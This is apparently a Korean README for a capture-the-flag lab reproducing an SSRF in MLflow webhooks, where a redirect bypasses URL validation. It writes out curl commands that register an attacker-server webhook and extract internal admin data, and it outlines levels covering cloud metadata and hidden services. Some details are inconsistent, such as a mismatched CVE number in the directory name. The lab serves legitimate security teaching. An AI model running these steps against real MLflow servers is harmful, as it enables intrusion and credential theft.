
이 실험실은 괜찮을 수도 있고 아닐 수도 있어요. AI에게 물어보세요. 테스트 중이지만 작동해야 합니다 ㅎㅎㅎ
CVE-2026-64849 · MLflow < 3.15.0 · 서버 측 요청 위조(SSRF)
CVE-2026-64849을 실습하고 재현하는 연구소입니다: MLflow에서 TOCTOU(Time-of-Check / Time-of-Use) 결함으로 인해 발생하는 SSRF 유형의 취약점입니다. MLflow는 웹훅의 원래 URL을 검증하지만 HTTP 리디렉션(302)을 재검증 없이 따르므로, 인증되지 않은 공격자가 접근해서는 안 되는 내부 서비스(internal-service:8888)에 도달할 수 있습니다.
사용 제한: 연구소 자료로, 승인된 네트워크 및 환경에서만 사용하세요. 법적 고지를 참조하세요.
| 속성 | 값 |
|---|
| 취약점 | CVE-2026-64849 — 웹훅 리디렉션 우회를 통한 SSRF |
| 영향을 받는 구성 요소 | MLflow Tracking Server (< 3.15.0) |
| 랩 버전 | MLflow 3.13.0(수정되지 않음, pip install 사용) |
| 근본 원인 | TOCTOU: URL 검증 후 302를 재검증 없이 따름 |
| 공격 벡터 | HTTP; 인증 불필요 |
| 선언된 심각도 | 치명적(CVSS 9.3) — 랩 익스플로잇 배너 기준 |
| 결과 | 내부 서비스 접근, 자격 증명 탈취, 포트 스캐닝 |
| 예상 소요 시간 | 15–20분 |
| 난이도 | 중급(웹 애플리케이션 보안 / 공격 보안) |
MLflow는 이벤트(모델 데이터, 실험 등) 발생 시 HTTP 요청을 트리거하는 웹훅 등록을 허용합니다. URL을 저장하기 전에 검증(스키마, 사설 IP, IP 메타데이터)이 적용됩니다. 결함은 다음과 같은 경우에 발생합니다:
3xx이면 requests 라이브러리가 리디렉션을 자동으로 따르며 대상 URL을 재검증하지 않습니다.공격자는 첫 번째 홉(내부 서비스로 302를 응답하는 서버)을 제어하고, MLflow는 내부 네트워크로의 프록시 역할을 합니다.
전체 기술 분석은 EXPLOITATION_GUIDE.md §6를 참조하세요.
랩을 완료하면 학생은 다음을 할 수 있습니다:
/test 트리거 및 내부 서비스 데이터 유출.대상: 공격 보안 학생 및 전문가, 침투 테스터, 애플리케이션 보안 검토자, MLflow를 사용하는 개발자.
소프트웨어 요구 사항:
| 도구 | 최소 버전 |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
MLflow에 대한 자격 증명이나 인증은 필요하지 않습니다(공격은 인증되지 않음). 내부 네트워크에 대한 액세스는 필요하지 않습니다: 랩에서 제공합니다.
host red interna de Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ atacante (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, sigue el redirect) │
│ │ │ internal-service (8888) ← SIN puertos al │
│ │ │ "/admin/secret" host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| 구성 요소 | 포트 | 랩에서의 역할 | 수정됨? |
|---|---|---|---|
mlflow-vulnerable | 5000 | 피해자 / 취약한 클라이언트(MLflow 3.13.0 스톡) | 아니요 |
attacker-server | 8080 | 공격자 서버: /webhook → 302, /redirect?url=, /metadata, 대시보드 | do_HEAD만 |
internal-service | 8888 | lab_network의 피해자; /admin/secret 및 /api/internal/config | 아니요 |
무결성 세부 사항: 취약한 서비스와 내부 서비스는 수정되지 않았습니다. EXPLOITATION_GUIDE.md §14를 참조하세요.
cd mlflow-ssrf-lab
bash run_lab.sh start # 3개 컨테이너를 시작하고 MLflow를 기다립니다
bash run_lab.sh exploit # 자동 익스플로잇(SSRF → 레벨 1 플래그)
단계별 가이드 데모(대화형 메뉴):
bash manual_exploitation_interactive.sh
🏁 CTF 모드(수동 해결): 랩은 레벨별 챌린지입니다. 각 플래그는 다음 레벨의 힌트를 남기므로 각 플래그에 도달하는 것이 "의미가 있습니다". 그리고 핵심은 직접 하는 것입니다: ctf_lab.sh는 대신 익스플로잇하지 않고 안내하고 플래그를 검증할 뿐입니다:
bash ctf_lab.sh # CTF 대화형 메뉴
bash ctf_lab.sh nivel 1 # 레벨 지침 + 힌트(직접 실행할 명령)
bash ctf_lab.sh flag '<flag>' # 유출 및 디코딩한 플래그 검증(+점수)
bash ctf_lab.sh status # 완료된 레벨 + 점수(235점, 플래그 표시 안 함)
bash ctf_lab.sh hint 2 # 레벨 힌트
bash ctf_lab.sh reset # 진행 상황 삭제
run_lab.sh 스크립트 참조:
bash run_lab.sh start # start(기본값) + 상태 엔드포인트
bash run_lab.sh exploit # mlflow 컨테이너 내부에서 exploit.py 실행
bash run_lab.sh manual # 단계별 curl 명령 표시
bash run_lab.sh logs # 실시간 로그 추적
bash run_lab.sh stop # 컨테이너 중지
bash run_lab.sh clean # 랩 데이터 중지 및 삭제
모든
/test호출에는Content-Type: application/json헤더가 필요합니다. 헤더가 없으면 MLflow 3.13은400 Bad Request로 응답합니다.
# 1. 공격자 서버를 가리키는 웹훅 생성(내부 포털 루트로 리디렉션, 레벨 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. /test 트리거 → MLflow가 URL을 검증하고 내부 서비스까지 302를 따릅니다
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. 유출된 데이터 추출(result.response_body에 중첩됨)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
3단계의 예상 결과(CTF 레벨 1):
{
"service": "internal-admin-portal",
"banner": "내부 관리 포털 — 내부 네트워크에서만 접근 가능",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "포털은 /admin/ 및 /api/ 아래에 리소스를 노출합니다. 관리자 자격 증명을 찾으세요."
}
플래그는 암호화되어(flag_enc) 전송되며 응답 자체에 디코딩 명령(flag_decoding)이 포함됩니다. 목표는 SSRF로 유출하고 디코딩하는 것입니다. pista(힌트)는 레벨 2로 안내합니다. 단계별 세부 사항, 버그 분석 및 완화 조치는 **EXPLOITATION_GUIDE.md**에 있습니다.
랩은 점진적 레벨 CTF입니다: 각 플래그는 다음 목적지로 이끄는 pista(힌트)를 남기므로 각 플래그에 도달하는 것이 의미가 있습니다. 모든 레벨은 동일한 기본 기술(리디렉션을 통한 SSRF)로 해결되며 기술 및 발견 난이도가 높아집니다.
| 레벨 | 기술 / 발견 | 목적지(SSRF) | 플래그 | 점수 |
|---|---|---|---|---|
| 1 | 기본 리디렉션 | internal-service:8888/ | base64 | 10 |
| 2 | /admin/ 열거 | internal-service:8888/admin/secret | hex | 25 |
| 3 | /api/ 열거 | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | 클라우드 메타데이터(IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5(최종) | 블라인드 SSRF + 포트 8889에서 숨겨진 서비스 발견 | internal-service:8889/admin/final | XOR + base64 | 100 |
플래그는 응답의
flag_enc필드에 암호화되어 전송되며 각 응답에는flag_decoding(디코딩할 정확한 명령)이 포함됩니다. 일반 텍스트flag{...}는 어떤 스크립트나 문서에도 나타나지 않습니다: SSRF로 유출하고 디코딩해야 합니다(자동 스크립트는 플래그를 표시하지 않음).
랩 규칙: 성공적인 SSRF(리디렉션을 통한 내부 서비스의 실제 데이터 유출)에 대해서만 플래그가 부여됩니다. SSRF가 아니거나 랩에서 재현할 수 없는 것은 플래그를 부여하지 않습니다(예: 공격자의 직접 /metadata, DNS 리바인딩, whcli 터널, 유출 없는 블라인드 스캔).
플레이: bash ctf_lab.sh(대화형 메뉴). 레벨별 수동 해결은 REDTEAM_GUIDE.md(명령별 공격 연습) 및 EXPLOITATION_GUIDE.md(전체 기술 절차)를 참조하세요.
랩 통합 중 다음 수정 사항이 적용되었으며 이미 검증되어 문서의 모든 명령에 반영되었습니다:
| # | 수정 | 영향 |
|---|---|---|
| 1 | POST /test는 이제 Content-Type: application/json(및 -d '{}')을 전송합니다 | MLflow 3.13의 400 Bad Request 및 response_body 추출 시 jq: null 오류 제거 |
| 2 | attacker_server.py는 HEAD 메서드(do_HEAD)를 지원합니다 | curl -I .../webhook는 501 Unsupported method 대신 302 Found를 반환 |
| 3 | 실제 API POST /api/2.0/mlflow/webhooks 사용 | 존재하지 않는 경로(/webhooks/create)의 405 방지 |
CVE-2026-29000-poc-lab/
├── README.md ← 이 파일(랩 색인 / 표지)
├── REDTEAM_GUIDE.md ← 레드팀 방식 수동 연습: 정찰 → 가설 → 익스플로잇
├── EXPLOITATION_GUIDE.md ← 전체 랩 절차(SSRF, 변형, 무결성)
├── manual_exploitation_interactive.sh ← 단계별 대화형 데모(메뉴)
└── mlflow-ssrf-lab/ ← 랩 코드 및 오케스트레이션
├── docker-compose.yml ← 3개 컨테이너(mlflow, attacker, internal)
├── exploit.py ← 자동 익스플로잇(컨테이너 내부에서 실행)
├── attacker_server.py ← 공격자 서버(구성 가능한 302)
├── internal_service.py ← "보호된" 내부 서비스(포털 8888 + 숨겨진 서비스 8889)
├── ctf_lab.sh ← CTF 수동 가이드(지침 + 힌트 + 플래그 검증기)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← 생성된 데이터(sqlite DB, 아티팩트)
lab_network 가상 네트워크 내에서 공격을 격리합니다. 내부 서비스를 호스트에 노출하지 않습니다.exploit.py는 랩 검증 도구이며 시뮬레이션된 내부 네트워크에서 MLflow 컨테이너 내부에서 실행됩니다(EXPLOITATION_GUIDE.md §14 참조).